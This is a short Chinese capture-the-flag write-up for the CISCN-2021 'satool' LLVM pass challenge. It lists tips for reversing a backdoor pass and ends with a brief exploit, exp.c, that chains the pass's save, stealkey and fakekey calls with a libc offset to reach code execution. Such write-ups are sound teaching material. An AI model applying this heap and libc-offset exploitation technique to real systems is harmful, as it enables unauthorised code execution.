CISCN-2021 satool

  • 刚做完红帽杯那个入门题来写这个,一看代码500多行的re直接不想看了,后来跟着这个博客过了一遍,收获不少 参考博客

核心思想

  1. 做llvm pass首先要知道主函数是什么,在此题中是这个,注意这里是小端序,因此函数名应当是B4ckDo0r
  2. llvm pass函数代码中的函数一定会有会判断其参数的部分,比如这里,参数个数就为2
  3. 确定函数参数的类型,是char *还是int还是别的,通过函数中具体内容来确定,比如有个复制函数那么它很可能是char *
  4. 函数的返回类型一般就是void,除非有其他特别的,然后主函数一般都是int,因为最后有return 0;
  5. 逆向函数中的具体内容,a.一般先找熟悉的函数,比如有memcpy这种,或者free这种b.另一种方法就是注意一些全局变量的赋值,有时候就可以将一些地方的值存到某处,特别是此处在libc附近c.最后就是要注意任意写,任意函数执行的地方
  6. 最后最重要的就是要学会动调,猜出程序的逻辑,难逆向的逻辑就动调猜出来

题目解析

  • 函数逆向后大致逻辑如下
  • exp
// clang-8 -emit-llvm -S exp.c -o exp.ll
void save(char *a, char *b);
void stealkey();
void fakekey(long long x);
void run();
 
void B4ckDo0r()
{
    save("\n", "\n");
    save("", "\n");
    stealkey();
    fakekey(-0x1ecbf0+0xe3afe);
    run();
}